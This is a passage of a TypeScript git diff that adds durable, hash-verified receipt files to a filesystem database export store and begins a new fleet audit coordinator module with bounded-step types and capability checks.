+      directoryOpenFlags(primitives),
+    );
+    handles.push(rootHandle);
+    const rootStat = await primitives.stat(rootHandle);
+    if (!rootStat.isDirectory()) {
+      throw new Error(
+        'database export receipt root must be an existing trusted directory',
+      );
+    }
+
+    let parentPath = root;
+    let parentHandle = rootHandle;
+    for (const segment of ['.anchorage-receipts', 'v1', databaseId] as const) {
+      const childPath = join(parentPath, segment);
+      let created = false;
+      try {
+        await primitives.mkdir(childPath, { mode: Number(DIRECTORY_MODE) });
+        created = true;
+      } catch (error) {
+        if (!errorHasCode(error, 'EEXIST')) throw error;
+      }
+      const childHandle = await primitives.open(
+        childPath,
+        directoryOpenFlags(primitives),
+      );
+      handles.push(childHandle);
+      if (created) {
+        await primitives.chmod(childHandle, Number(DIRECTORY_MODE));
+      }
+      const childStat = await primitives.stat(childHandle);
+      if (!isExactDirectory(childStat)) {
+        throw new Error(
+          'database export receipt directory must be a mode-0700 directory',
+        );
+      }
+      await primitives.sync(parentHandle);
+      parentPath = childPath;
+      parentHandle = childHandle;
+    }
+    return {
+      directory: parentPath,
+      handle: parentHandle,
+      handles,
+    };
+  } catch (error) {
+    const cleanup = await settled(() => closeAll(handles, primitives));
+    if (cleanup.status === 'rejected') {
+      throw new AggregateError(
+        [error, cleanup.reason],
+        'database export receipt and directory-handle cleanup failed',
+      );
+    }
+    throw error;
+  }
+}
+
+async function hashReceiptHandle(
+  handle: FileHandle,
+  expectedSize: bigint,
+  primitives: FileSystemDatabaseExportStoreReceiptPrimitives,
+): Promise<DatabaseExportIntegrity> {
+  if (expectedSize <= 0n || expectedSize > MAX_SAFE_SIZE) {
+    throw databaseExportReceiptError('collision');
+  }
+  const hash = createHash('sha256');
+  const buffer = new Uint8Array(64 * 1024);
+  let size = 0n;
+  try {
+    for (;;) {
+      const { bytesRead } = await primitives.read(
+        handle,
+        buffer,
+        0,
+        buffer.byteLength,
+        null,
+      );
+      if (!Number.isSafeInteger(bytesRead) || bytesRead < 0) {
+        throw databaseExportReceiptError('readback');
+      }
+      if (bytesRead === 0) break;
+      hash.update(buffer.subarray(0, bytesRead));
+      size += BigInt(bytesRead);
+      if (size > MAX_SAFE_SIZE) {
+        throw databaseExportReceiptError('readback');
+      }
+    }
+  } catch {
+    throw databaseExportReceiptError('readback');
+  }
+  if (size !== expectedSize) throw databaseExportReceiptError('readback');
+  return { size: Number(size), sha256: hash.digest('hex') };
+}
+
+async function recoverReceiptTempAlias(
+  targetHandle: FileHandle,
+  targetStat: BigIntStats,
+  databaseReceiptDirectory: string,
+  databaseDirectoryHandle: FileHandle,
+  primitives: FileSystemDatabaseExportStoreReceiptPrimitives & {
+    readonly flags: Record<keyof ReceiptOpenFlags, number>;
+  },
+): Promise<void> {
+  const hasRecoveredTarget = async (): Promise<boolean> => {
+    let recovered: BigIntStats;
+    try {
+      recovered = await primitives.stat(targetHandle);
+    } catch {
+      throw databaseExportReceiptError('readback');
+    }
+    return (
+      isExactReceiptFile(recovered, 1n) &&
+      recovered.dev === targetStat.dev &&
+      recovered.ino === targetStat.ino
+    );
+  };
+  let names: string[];
+  try {
+    names = await primitives.readdir(databaseReceiptDirectory);
+  } catch {
+    throw databaseExportReceiptError('readback');
+  }
+  if (!Array.isArray(names) || names.some((name) => typeof name !== 'string')) {
+    throw databaseExportReceiptError('readback');
+  }
+  const matches: { path: string; handle: FileHandle; stat: BigIntStats }[] = [];
+  try {
+    for (const name of names) {
+      if (!RECEIPT_TEMP_PATTERN.test(name)) continue;
+      const candidatePath = join(databaseReceiptDirectory, name);
+      let candidate: FileHandle;
+      try {
+        candidate = await primitives.open(
+          candidatePath,
+          fileOpenFlags(primitives),
+        );
+      } catch (error) {
+        if (errorHasCode(error, 'ENOENT')) continue;
+        throw databaseExportReceiptError('readback');
+      }
+      let retained = false;
+      try {
+        let candidateStat: BigIntStats;
+        try {
+          candidateStat = await primitives.stat(candidate);
+        } catch {
+          throw databaseExportReceiptError('readback');
+        }
+        if (
+          candidateStat.dev === targetStat.dev &&
+          candidateStat.ino === targetStat.ino
+        ) {
+          retained = true;
+          matches.push({
+            path: candidatePath,
+            handle: candidate,
+            stat: candidateStat,
+          });
+        }
+      } finally {
+        if (!retained) await primitives.close(candidate);
+      }
+    }
+    if (matches.length === 0 && (await hasRecoveredTarget())) return;
+    if (matches.length !== 1) {
+      throw databaseExportReceiptError('collision');
+    }
+    const match = matches[0];
+    if (!match || !isExactReceiptFile(match.stat, 2n)) {
+      throw databaseExportReceiptError('collision');
+    }
+    try {
+      await primitives.unlink(match.path);
+    } catch (error) {
+      if (!errorHasCode(error, 'ENOENT')) {
+        throw databaseExportReceiptError('readback');
+      }
+    }
+    try {
+      await primitives.sync(databaseDirectoryHandle);
+    } catch {
+      throw databaseExportReceiptError('readback');
+    }
+    if (!(await hasRecoveredTarget())) {
+      throw databaseExportReceiptError('collision');
+    }
+  } finally {
+    await closeAll(
+      matches.map((match) => match.handle),
+      primitives,
+    );
+  }
+}
+
+async function inspectReceiptTarget(
+  targetPath: string,
+  databaseReceiptDirectory: string,
+  databaseDirectoryHandle: FileHandle,
+  primitives: FileSystemDatabaseExportStoreReceiptPrimitives & {
+    readonly flags: Record<keyof ReceiptOpenFlags, number>;
+  },
+): Promise<ReceiptTargetInspection> {
+  let targetHandle: FileHandle;
+  try {
+    targetHandle = await primitives.open(targetPath, fileOpenFlags(primitives));
+  } catch (error) {
+    if (errorHasCode(error, 'ENOENT')) return { status: 'absent' };
+    throw databaseExportReceiptError('collision');
+  }
+  try {
+    let targetStat: BigIntStats;
+    try {
+      targetStat = await primitives.stat(targetHandle);
+    } catch {
+      throw databaseExportReceiptError('readback');
+    }
+    if (
+      !targetStat.isFile() ||
+      (targetStat.mode & PERMISSION_MODE) !== FILE_MODE ||
+      (targetStat.nlink !== 1n && targetStat.nlink !== 2n)
+    ) {
+      throw databaseExportReceiptError('collision');
+    }
+    if (targetStat.nlink === 2n) {
+      await recoverReceiptTempAlias(
+        targetHandle,
+        targetStat,
+        databaseReceiptDirectory,
+        databaseDirectoryHandle,
+        primitives,
+      );
+    }
+    let currentStat: BigIntStats;
+    try {
+      currentStat = await primitives.stat(targetHandle);
+    } catch {
+      throw databaseExportReceiptError('readback');
+    }
+    if (!isExactReceiptFile(currentStat, 1n)) {
+      throw databaseExportReceiptError('collision');
+    }
+    try {
+      await primitives.sync(databaseDirectoryHandle);
+    } catch {
+      throw databaseExportReceiptError('readback');
+    }
+    const integrity = await hashReceiptHandle(
+      targetHandle,
+      currentStat.size,
+      primitives,
+    );
+    return {
+      status: 'present',
+      receipt: {
+        location: pathToFileURL(targetPath).href,
+        ...integrity,
+      },
+    };
+  } finally {
+    await primitives.close(targetHandle);
+  }
+}
+
+function sameIntegrity(
+  first: DatabaseExportIntegrity,
+  second: DatabaseExportIntegrity,
+): boolean {
+  return first.size === second.size && first.sha256 === second.sha256;
+}
+
+function cancelReaderWithoutAwait(
+  reader: ReadableStreamDefaultReader<Uint8Array>,
+  reason: unknown,
+): void {
+  try {
+    const cancellation = Reflect.apply(READER_CANCEL, reader, [reason]);
+    try {
+      void Reflect.apply(PROMISE_THEN, cancellation, [
+        undefined,
+        () => undefined,
+      ]);
+    } catch {}
+  } catch {}
+}
+
+async function streamReceipt(
+  file: FileHandle,
+  body: ReadableStream<Uint8Array>,
+  primitives: FileSystemDatabaseExportStoreReceiptPrimitives,
+  markCancellationAttempted: () => void,
+): Promise<DatabaseExportIntegrity> {
+  let reader: ReadableStreamDefaultReader<Uint8Array>;
+  try {
+    reader = Reflect.apply(
+      READABLE_STREAM_GET_READER,
+      body,
+      [],
+    ) as ReadableStreamDefaultReader<Uint8Array>;
+  } catch {
+    throw new Error('database export receipt body is malformed');
+  }
+  const hash = createHash('sha256');
+  let size = 0n;
+  try {
+    for (;;) {
+      const chunk = await Reflect.apply(READER_READ, reader, []);
+      if (chunk.done) break;
+      if (!(chunk.value instanceof Uint8Array)) {
+        throw new Error('database export receipt body is malformed');
+      }
+      let offset = 0;
+      while (offset < chunk.value.byteLength) {
+        const { bytesWritten } = await primitives.write(
+          file,
+          chunk.value,
+          offset,
+          chunk.value.byteLength - offset,
+        );
+        if (!Number.isSafeInteger(bytesWritten) || bytesWritten <= 0) {
+          throw new Error(
+            'database export receipt file write made no progress',
+          );
+        }
+        offset += bytesWritten;
+      }
+      hash.update(chunk.value);
+      size += BigInt(chunk.value.byteLength);
+      if (size > MAX_SAFE_SIZE) {
+        throw new Error(
+          'database export receipt size exceeds the safe integer range',
+        );
+      }
+    }
+  } catch (error) {
+    markCancellationAttempted();
+    cancelReaderWithoutAwait(reader, error);
+    throw error;
+  } finally {
+    Reflect.apply(READER_RELEASE_LOCK, reader, []);
+  }
+  if (size === 0n) {
+    throw new Error('database export receipt refuses an empty body');
+  }
+  return { size: Number(size), sha256: hash.digest('hex') };
+}
+
+async function unlinkOwnedTempPath(
+  path: string,
+  retainedStat: BigIntStats,
+  expectedLinks: 1n | 2n | 'either',
+  primitives: FileSystemDatabaseExportStoreReceiptPrimitives & {
+    readonly flags: Record<keyof ReceiptOpenFlags, number>;
+  },
+): Promise<void> {
+  let aliasHandle: FileHandle;
+  try {
+    aliasHandle = await primitives.open(path, fileOpenFlags(primitives));
+  } catch (error) {
+    if (errorHasCode(error, 'ENOENT')) return;
+    throw error;
+  }
+  try {
+    const aliasStat = await primitives.stat(aliasHandle);
+    const linkCountMatches =
+      expectedLinks === 'either'
+        ? aliasStat.nlink === 1n || aliasStat.nlink === 2n
+        : aliasStat.nlink === expectedLinks;
+    if (
+      !isExactReceiptFile(aliasStat, aliasStat.nlink === 2n ? 2n : 1n) ||
+      !linkCountMatches ||
+      aliasStat.dev !== retainedStat.dev ||
+      aliasStat.ino !== retainedStat.ino
+    ) {
+      throw new Error(
+        'database export receipt temporary file identity changed',
+      );
+    }
+    await primitives.unlink(path);
+  } finally {
+    await primitives.close(aliasHandle);
+  }
+}
+
+async function cleanupTemporaryHandle(
+  path: string,
+  retainedStat: BigIntStats,
+  handle: FileHandle,
+  primitives: FileSystemDatabaseExportStoreReceiptPrimitives & {
+    readonly flags: Record<keyof ReceiptOpenFlags, number>;
+  },
+): Promise<void> {
+  const pathCleanup = await settled(() =>
+    unlinkOwnedTempPath(path, retainedStat, 'either', primitives),
+  );
+  const closeCleanup = await settled(() => primitives.close(handle));
+  if (pathCleanup.status === 'rejected' && closeCleanup.status === 'rejected') {
+    throw new AggregateError(
+      [pathCleanup.reason, closeCleanup.reason],
+      'database export receipt temporary-file cleanup failed',
+    );
+  }
+  if (pathCleanup.status === 'rejected') throw pathCleanup.reason;
+  if (closeCleanup.status === 'rejected') throw closeCleanup.reason;
+}
+
+async function publishReceipt(
+  input: {
+    readonly body: ReadableStream<Uint8Array>;
+    readonly contentLength?: number;
+  },
+  expectedPromise: Promise<DatabaseExportIntegrity>,
+  directories: OpenReceiptDirectories,
+  targetPath: string,
+  primitives: FileSystemDatabaseExportStoreReceiptPrimitives & {
+    readonly flags: Record<keyof ReceiptOpenFlags, number>;
+  },
+  markCancellationAttempted: () => void,
+): Promise<ReceiptFileState> {
+  const uuid = primitives.randomUUID();
+  if (!RECEIPT_TEMP_UUID.test(uuid)) {
+    throw new Error('database export receipt temporary UUID is malformed');
+  }
+  const temporaryPath = join(directories.directory, `.receipt-${uuid}.tmp`);
+  const temporaryHandle = await primitives.open(temporaryPath, 'wx', 0o600);
+  const preparation = await settled(async () => {
+    await primitives.chmod(temporaryHandle, Number(FILE_MODE));
+    const statistics = await primitives.stat(temporaryHandle);
+    if (!isExactReceiptFile(statistics, 1n)) {
+      throw new Error(
+        'database export receipt temporary file must be a mode-0600 regular file',
+      );
+    }
+    return statistics;
+  });
+  if (preparation.status === 'rejected') {
+    const recoveryStat = await settled(() => primitives.stat(temporaryHandle));
+    let cleanup: Settlement<void>;
+    if (recoveryStat.status === 'fulfilled') {
+      cleanup = await settled(() =>
+        cleanupTemporaryHandle(
+          temporaryPath,
+          recoveryStat.value,
+          temporaryHandle,
+          primitives,
+        ),
+      );
+    } else {
+      const closeCleanup = await settled(() =>
+        primitives.close(temporaryHandle),
+      );
+      cleanup = {
+        status: 'rejected',
+        reason:
+          closeCleanup.status === 'rejected'
+            ? new AggregateError(
+                [recoveryStat.reason, closeCleanup.reason],
+                'database export receipt temporary-file cleanup failed',
+              )
+            : recoveryStat.reason,
+      };
+    }
+    if (cleanup.status === 'rejected') {
+      throw new AggregateError(
+        [preparation.reason, cleanup.reason],
+        'database export receipt and temporary-file cleanup failed',
+      );
+    }
+    throw preparation.reason;
+  }
+  const retainedStat = preparation.value;
+  let operation: Settlement<ReceiptFileState>;
+  try {
+    const streamed = await streamReceipt(
+      temporaryHandle,
+      input.body,
+      primitives,
+      markCancellationAttempted,
+    );
+    const expected = await expectedPromise;
+    if (
+      (input.contentLength !== undefined &&
+        streamed.size !== input.contentLength) ||
+      !sameIntegrity(streamed, expected)
+    ) {
+      throw databaseExportReceiptError('source-mismatch');
+    }
+    await primitives.sync(temporaryHandle);
+    const committed = {
+      location: pathToFileURL(targetPath).href,
+      ...streamed,
+    };
+    let published = false;
+    operation = await settled(async () => {
+      try {
+        await primitives.link(temporaryPath, targetPath);
+        published = true;
+        await unlinkOwnedTempPath(temporaryPath, retainedStat, 2n, primitives);
+        await primitives.sync(directories.handle);
+        return committed;
+      } catch (primary) {
+        if (published) throw primary;
+        const existing = await inspectReceiptTarget(
+          targetPath,
+          directories.directory,
+          directories.handle,
+          primitives,
+        );
+        if (existing.status === 'absent') throw primary;
+        if (!sameIntegrity(existing.receipt, expected)) {
+          throw databaseExportReceiptError('collision');
+        }
+        return existing.receipt;
+      }
+    });
+  } catch (reason) {
+    operation = { status: 'rejected', reason };
+  }
+
+  const cleanup = await settled(() =>
+    cleanupTemporaryHandle(
+      temporaryPath,
+      retainedStat,
+      temporaryHandle,
+      primitives,
+    ),
+  );
+  if (operation.status === 'rejected' && cleanup.status === 'rejected') {
+    throw new AggregateError(
+      [operation.reason, cleanup.reason],
+      'database export receipt and temporary-file cleanup failed',
+    );
+  }
+  if (operation.status === 'rejected') throw operation.reason;
+  if (cleanup.status === 'rejected') throw cleanup.reason;
+  return operation.value;
+}
+
+function readReceiptInputField(
+  input: unknown,
+  field: 'body' | 'contentLength' | 'expectedIntegrity' | 'identity',
+  errorKind: 'identity-malformed' | 'integrity-malformed',
+): unknown {
+  try {
+    if (
+      (typeof input !== 'object' || input === null) &&
+      typeof input !== 'function'
+    ) {
+      throw databaseExportReceiptError(errorKind);
+    }
+    return Reflect.get(input, field);
+  } catch {
+    throw databaseExportReceiptError(errorKind);
   }
 }
 
+async function writeReceipt(
+  root: string,
+  authority: string,
+  inputValue: unknown,
+  primitives: FileSystemDatabaseExportStoreReceiptPrimitives & {
+    readonly flags: Record<keyof ReceiptOpenFlags, number>;
+  },
+): Promise<ReceiptFileState> {
+  const body = readReceiptInputField(inputValue, 'body', 'integrity-malformed');
+  let cancellationAttempted = false;
+  const cancel = (reason: unknown) => {
+    if (cancellationAttempted) return;
+    cancellationAttempted = true;
+    cancelBodyWithoutAwait(body, reason);
+  };
+  let expected: Promise<DatabaseExportIntegrity>;
+  try {
+    const expectedValue = readReceiptInputField(
+      inputValue,
+      'expectedIntegrity',
+      'integrity-malformed',
+    );
+    expected = captureDatabaseExportIntegrityPromise(expectedValue);
+  } catch (error) {
+    cancel(error);
+    throw error;
+  }
+  try {
+    const identity = databaseExportReceiptIdentityFromUnknown(
+      readReceiptInputField(inputValue, 'identity', 'identity-malformed'),
+      authority,
+    );
+    const contentLengthValue = readReceiptInputField(
+      inputValue,
+      'contentLength',
+      'integrity-malformed',
+    );
+    if (
+      contentLengthValue !== undefined &&
+      (typeof contentLengthValue !== 'number' ||
+        !Number.isSafeInteger(contentLengthValue) ||
+        contentLengthValue < 1)
+    ) {
+      throw new Error(
+        'database export receipt contentLength must be a positive safe integer',
+      );
+    }
+    let locked: unknown;
+    try {
+      locked = Reflect.get(body as object, 'locked');
+    } catch {
+      throw new Error('database export receipt body is malformed');
+    }
+    if (locked !== false) {
+      throw new Error('database export receipt body is locked or malformed');
+    }
+    const directories = await openReceiptDirectories(
+      root,
+      identity.databaseId,
+      primitives,
+    );
+    try {
+      const targetPath = join(
+        directories.directory,
+        `${identity.operationId}.sql`,
+      );
+      const existing = await inspectReceiptTarget(
+        targetPath,
+        directories.directory,
+        directories.handle,
+        primitives,
+      );
+      if (existing.status === 'present') {
+        cancel(databaseExportReceiptError('collision'));
+        const declared = await expected;
+        if (!sameIntegrity(existing.receipt, declared)) {
+          throw databaseExportReceiptError('collision');
+        }
+        return existing.receipt;
+      }
+      return await publishReceipt(
+        {
+          body: body as ReadableStream<Uint8Array>,
+          ...(contentLengthValue === undefined
+            ? {}
+            : { contentLength: contentLengthValue as number }),
+        },
+        expected,
+        directories,
+        targetPath,
+        primitives,
+        () => {
+          cancellationAttempted = true;
+        },
+      );
+    } finally {
+      await closeAll(directories.handles, primitives);
+    }
+  } catch (error) {
+    cancel(error);
+    throw error;
+  }
+}
+
+function configureReceiptCapability(
+  store: FileSystemDatabaseExportStore,
+  directory: string,
+  primitives: FileSystemDatabaseExportStoreReceiptPrimitives,
+): void {
+  Reflect.deleteProperty(store, 'receiptAuthority');
+  Reflect.deleteProperty(store, 'writeReceipt');
+  if (!supportsFileSystemReceipts(primitives)) return;
+  const authority = databaseExportReceiptAuthorityFromUnknown(
+    pathToFileURL(join(directory, '.anchorage-receipts', 'v1')).href,
+  );
+  Object.defineProperties(store, {
+    receiptAuthority: {
+      configurable: true,
+      enumerable: true,
+      value: authority,
+      writable: false,
+    },
+    writeReceipt: {
+      configurable: true,
+      enumerable: true,
+      value: (input: unknown) =>
+        writeReceipt(directory, authority, input, primitives),
+      writable: false,
+    },
+  });
+}
+
 async function writeChunk(
   file: Awaited<ReturnType<typeof open>>,
   chunk: Uint8Array,
@@ -40,10 +977,15 @@ export class FileSystemDatabaseExportStore
   implements DurableDatabaseExportStore
 {
   readonly #directory: string;
+  declare readonly receiptAuthority?: string;
+  declare readonly writeReceipt?: NonNullable<
+    DurableDatabaseExportStore['writeReceipt']
+  >;
 
   constructor(directory: string) {
     if (directory.length === 0) throw new Error('export directory is required');
     this.#directory = resolve(directory);
+    configureReceiptCapability(this, this.#directory, defaultReceiptPrimitives);
   }
 
   async write(input: {
@@ -56,27 +998,39 @@ export class FileSystemDatabaseExportStore
     readonly size: number;
     readonly sha256: string;
   }> {
-    assertFileName(input.fileName);
-    if (
-      input.contentLength !== undefined &&
-      (!Number.isSafeInteger(input.contentLength) || input.contentLength < 0)
-    ) {
-      throw new Error(
-        'export contentLength must be a non-negative safe integer',
-      );
-    }
-    await mkdir(this.#directory, { recursive: true });
-    const root = await realpath(this.#directory);
-    const target = resolve(root, input.fileName);
-    if (dirname(target) !== root) {
-      throw new Error('export fileName resolves outside the configured root');
-    }
-    const temporary = join(root, `.${input.fileName}.${randomUUID()}.tmp`);
+    let temporary: string | undefined;
     let file: Awaited<ReturnType<typeof open>> | undefined;
     let reader: ReadableStreamDefaultReader<Uint8Array> | undefined;
+    let source: ReadableStream<Uint8Array> | undefined;
     try {
+      source = input.body;
+      assertFileName(input.fileName);
+      if (
+        input.contentLength !== undefined &&
+        (!Number.isSafeInteger(input.contentLength) || input.contentLength < 0)
+      ) {
+        throw new Error(
+          'export contentLength must be a non-negative safe integer',
+        );
+      }
+      await mkdir(this.#directory, { recursive: true });
+      const root = await realpath(this.#directory);
+      for (let parent = dirname(root); ; parent = dirname(parent)) {
+        const handle = await open(parent, 'r');
+        try {
+          await handle.sync();
+        } finally {
+          await handle.close();
+        }
+        if (dirname(parent) === parent) break;
+      }
+      const target = resolve(root, input.fileName);
+      if (dirname(target) !== root) {
+        throw new Error('export fileName resolves outside the configured root');
+      }
+      temporary = join(root, `.${input.fileName}.${randomUUID()}.tmp`);
       file = await open(temporary, 'wx', 0o600);
-      reader = input.body.getReader();
+      reader = source.getReader();
       let size = 0;
       const hash = createHash('sha256');
       for (;;) {
@@ -115,10 +1069,12 @@ export class FileSystemDatabaseExportStore
         cleanupErrors.push(cleanupError);
       }
       try {
-        await reader?.cancel(error);
+        // A tee branch's cancellation waits for its sibling, so rejection
+        // does not await it.
+        cancelBodyWithoutAwait(reader ?? source, error);
       } catch {}
       try {
-        await rm(temporary, { force: true });
+        if (temporary) await rm(temporary, { force: true });
       } catch (cleanupError) {
         cleanupErrors.push(cleanupError);
       }
@@ -134,3 +1090,16 @@ export class FileSystemDatabaseExportStore
     }
   }
 }
+
+export function createFileSystemDatabaseExportStoreWithReceiptPrimitives(
+  directory: string,
+  overrides: FileSystemDatabaseExportStoreReceiptPrimitiveOverrides,
+): FileSystemDatabaseExportStore {
+  const store = new FileSystemDatabaseExportStore(directory);
+  configureReceiptCapability(
+    store,
+    resolve(directory),
+    receiptPrimitives(overrides),
+  );
+  return store;
+}
diff --git a/packages/fleet-control/src/fleet-audit-advance.ts b/packages/fleet-control/src/fleet-audit-advance.ts
new file mode 100644
index 00000000..7fc55a46
--- /dev/null
+++ b/packages/fleet-control/src/fleet-audit-advance.ts
@@ -0,0 +1,1350 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import { structuralBackendSwitchFleetRecordFromUnknown } from './backend-switch.js';
+import {
+  isDeploymentEnvironment,
+  isDeploymentTenantTag,
+} from './deployment-context.js';
+import type { DriftFinding } from './fleet.js';
+import {
+  auditDeploymentGapsStage,
+  auditDeploymentOrphansStage,
+  auditNamespaceExpectationsStage,
+  auditNamespaceOrphansStage,
+  auditOrphanDatabasesStage,
+  auditOrphanRoutesStage,
+  auditR2ExpectedStage,
+  auditR2MissingIdentityStage,
+  auditR2OrphansStage,
+  auditRecordStep,
+  auditRegistrationOrphansStage,
+  type FleetAuditExpectedBucketEntry,
+  type FleetAuditKnownSets,
+  fleetAuditAuditedRecords,
+  fleetAuditExpectedBucketsSeed,
+  fleetAuditExpectedNamespaceIds,
+  fleetAuditExpectedNamespaceOwnersSeed,
+  fleetAuditExpectedRoutes,
+  fleetAuditKnownSets,
+  fleetAuditLiveByScript,
+  fleetAuditLiveRoutesByHostname,
+  fleetAuditRecordsByScript,
+  fleetAuditRecordsDerivedDuplicateNamespaceIds,
+  fleetAuditRegisteredDatabaseIds,
+} from './fleet.js';
+import {
+  type DriftFindingRowPayload,
+  driftFindingRowFromUnknown,
+  type FleetAuditFactPayload,
+  type FleetAuditFindingKind,
+  type FleetAuditProgress,
+  type FleetAuditStage,
+  fleetAuditFactRowFromUnknown,
+  fleetAuditPinOwner,
+  fleetAuditProgressFromUnknown,
+  fleetAuditStageOrdinal,
+  nextAuditStage,
+  withAuditStageOrdinal,
+  withheldAuditDetail,
+} from './fleet-audit-state.js';
+import { readFleetInventoryGeneration } from './fleet-inventory-advance.js';
+import {
+  FLEET_INVENTORY_GENERATION_READ_MEMBERS,
+  type FleetInventoryRunStore,
+} from './fleet-inventory-state.js';
+import {
+  assertFleetOperationId,
+  classifyFleetOperationToken,
+  FLEET_OPERATION_ITEM_BOUND,
+  FLEET_OPERATION_RECORD_ROW_BYTE_BOUND,
+  FLEET_OPERATION_STAGE_BATCH_STATEMENTS,
+  FLEET_OPERATION_STORE_ADVANCE_MEMBERS,
+  type FleetOperationFailure,
+  type FleetOperationLease,
+  type FleetOperationRunRecord,
+  type FleetOperationStagedRow,
+  FleetOperationStateError,
+  type FleetOperationStore,
+  type FleetOperationToken,
+  FleetOperationTokenOperationError,
+  fleetOperationItemsIntake,
+  fleetOperationOtherKindMessage,
+  fleetOperationSafeInteger,
+  fleetOperationStagedRowPayloadFitsEnvelope,
+  fleetOperationTokenOf,
+  isDurableAuditDetailSafe,
+  malformed,
+  parseFleetOperationToken,
+  readAllFleetOperationRows,
+} from './fleet-operation-state.js';
+import type {
+  DeploymentSpec,
+  FleetRecord,
+  FleetResourceInventory,
+  FleetStateStore,
+  ProvisioningBackend,
+} from './types.js';
+
+/** Default global-stage chunk size; the frozen range is 1..2,000. */
+const DEFAULT_MAX_ITEMS_PER_CALL = 500;
+const MIN_MAX_ITEMS_PER_CALL = 1;
+const MAX_MAX_ITEMS_PER_CALL = 2_000;
+/** Fixed refusal shared by the coordinator's own count check and the intake's. */
+const RECORD_COUNT_MESSAGE = `fleet audit start accepts at most ${FLEET_OPERATION_ITEM_BOUND} records`;
+/** Fixed refusal shared by the coordinator's own shape check and the intake's. */
+const RECORD_STRUCTURE_MESSAGE =
+  'fleet audit record exceeds the intake structure bounds';
+
+/** One bounded audit step: begin an operation, or continue a persisted one. */
+export type FleetAuditAdvanceAction =
+  | Readonly<{
+      kind: 'start';
+      operationId: string;
+      records: readonly FleetRecord[];
+      staleAfterMs: number;
+      generation?: number;
+    }>
+  | Readonly<{ kind: 'continue'; token: unknown }>;
+
+/** Inputs for one bounded audit advance call. */
+export interface AdvanceFleetAuditOptions {
+  readonly operationStore: FleetOperationStore;
+  readonly inventoryStore: FleetInventoryRunStore;
+  readonly fleetStore: FleetStateStore;
+  readonly backendFor: (record: FleetRecord) => ProvisioningBackend;
+  readonly specFor: (record: FleetRecord) => DeploymentSpec;
+  readonly maintenanceSecretFor: (record: FleetRecord) => string;
+  readonly action: FleetAuditAdvanceAction;
+  /** Global-stage chunk size; 1..2,000, default 500. */
+  readonly maxItemsPerCall?: number;
+  /**
+   * Sampled at most once per start call, immediately before `startOperation`.
+   * The sample must be a non-negative safe integer representable by `Date`.
+   * Only a `created` outcome persists the sample as the frozen `auditTimeMs`;
+   * adopted outcomes discard it, and continue calls never sample it. A
+   * `created` outcome also stamps that run record's `updatedAt` from this
+   * sample; it is the only durable write in this module that does not take
+   * `updatedAt` from wall clock. Defaults to `Date.now`.
+   */
+  readonly auditClock?: () => number;
+  /** Feeds only the re-arm's authority clock; default `Date.now`. */
+  readonly authorityClock?: () => number;
+  /**
+   * Call-local only; never persisted. Read at the entry and before each
+   * record step; a step already in flight runs to completion.
+   */
+  readonly signal?: AbortSignal;
+}
+
+/** Authoritative summary of a finalized audit operation. */
+export interface FleetAuditResultRef {
+  readonly operationId: string;
+  readonly generation: number;
+  readonly recordCount: number;
+  readonly findingCount: number;
+  readonly finalizedAtMs: number;
+}
+
+/** Authoritative durable outcome after at most one bounded stage chunk. */
+export type FleetAuditAdvanceResult =
+  /**
+   * The operation is still RUNNING. `stage` is the persisted stage the next
+   * call resumes from, and `token` carries the committed revision.
+   */
+  | Readonly<{
+      status: 'pending';
+      token: FleetOperationToken;
+      stage: FleetAuditStage;
+    }>
+  /**
+   * The operation is FINALIZED. `result` summarizes the frozen run; the
+   * findings themselves are read separately with
+   * `readFleetAuditFindingsPage`.
+   */
+  | Readonly<{
+      status: 'complete';
+      token: FleetOperationToken;
+      result: FleetAuditResultRef;
+    }>
+  /**
+   * The operation is FAILED, and the failing call released its generation pin.
+   * A pin that survives the terminal commit — because the process crashed
+   * before the release, or because the release itself failed — is cleared by
+   * `abandonFleetAuditOperation()`. `failure` carries the durable reason;
+   * failed operations are still readable.
+   */
+  | Readonly<{
+      status: 'failed';
+      token: FleetOperationToken;
+      failure: FleetOperationFailure;
+    }>;
+
+/** Named capability whose absence makes bounded audit work fail closed. */
+export type FleetAuditAdvanceCapability =
+  | 'operation-store'
+  | 'generation-read'
+  | 'generation-pin';
+
+const CAPABILITY_MESSAGES: Readonly<
+  Record<FleetAuditAdvanceCapability, string>
+> = Object.freeze({
+  'operation-store': 'fleet audit advance requires an operation store',
+  'generation-read':
+    'fleet audit advance requires an inventory store that can read finalized generations',
+  'generation-pin':
+    'fleet audit advance requires an inventory store that can pin finalized generations',
+});
+
+const CAPABILITY_MEMBERS: Readonly<
+  Record<FleetAuditAdvanceCapability, readonly string[]>
+> = Object.freeze({
+  'operation-store': FLEET_OPERATION_STORE_ADVANCE_MEMBERS,
+  'generation-read': FLEET_INVENTORY_GENERATION_READ_MEMBERS,
+  'generation-pin': Object.freeze(['pinGeneration', 'releasePin']),
+});
+
+/** Fixed configuration refusal for one missing bounded capability. */
+export class FleetAuditAdvanceCapabilityError extends Error {
+  constructor(readonly capability: FleetAuditAdvanceCapability) {
+    super(CAPABILITY_MESSAGES[capability]);
+    this.name = 'FleetAuditAdvanceCapabilityError';
+  }
+}
+
+/**
+ * Probes one injected port for the members a capability names. `target` is
+ * `object` rather than a port type because this coordinator gates two
+ * unrelated ports (the operation store and the inventory store) through the
+ * same table, and it is named for the audit capability set rather than for
+ * one store — fleet-inventory-advance.ts's `assertStoreCapability` gates a
+ * single store and keeps the narrower name.
+ */
+function assertCapability(
+  target: object,
+  capability: FleetAuditAdvanceCapability,
+): void {
+  for (const member of CAPABILITY_MEMBERS[capability]) {
+    if (
+      !Reflect.has(target, member) ||
+      typeof (target as unknown as Record<string, unknown>)[member] !==
+        'function'
+    ) {
+      throw new FleetAuditAdvanceCapabilityError(capability);
+    }
+  }
+}
+
+function assertMaxItemsPerCall(value: number): void {
+  if (
+    !Number.isSafeInteger(value) ||
+    value < MIN_MAX_ITEMS_PER_CALL ||
+    value > MAX_MAX_ITEMS_PER_CALL
+  ) {
+    throw new Error(
+      `maxItemsPerCall must be an integer from ${MIN_MAX_ITEMS_PER_CALL} to ${MAX_MAX_ITEMS_PER_CALL}`,
+    );
+  }
+}
+
+function resultFromRun(run: FleetOperationRunRecord): FleetAuditAdvanceResult {
+  const progress = fleetAuditProgressFromUnknown(run.progress);
+  const token = fleetOperationTokenOf(run);
+  if (run.state === 'finalized') {
+    if (run.terminalAtMs === undefined) return malformed();
+    return {
+      status: 'complete',
+      token,
+      result: {
+        operationId: run.operationId,
+        generation: progress.generation,
+        recordCount: progress.recordCount,
+        findingCount: progress.findingCount,
+        finalizedAtMs: run.terminalAtMs,
+      },
+    };
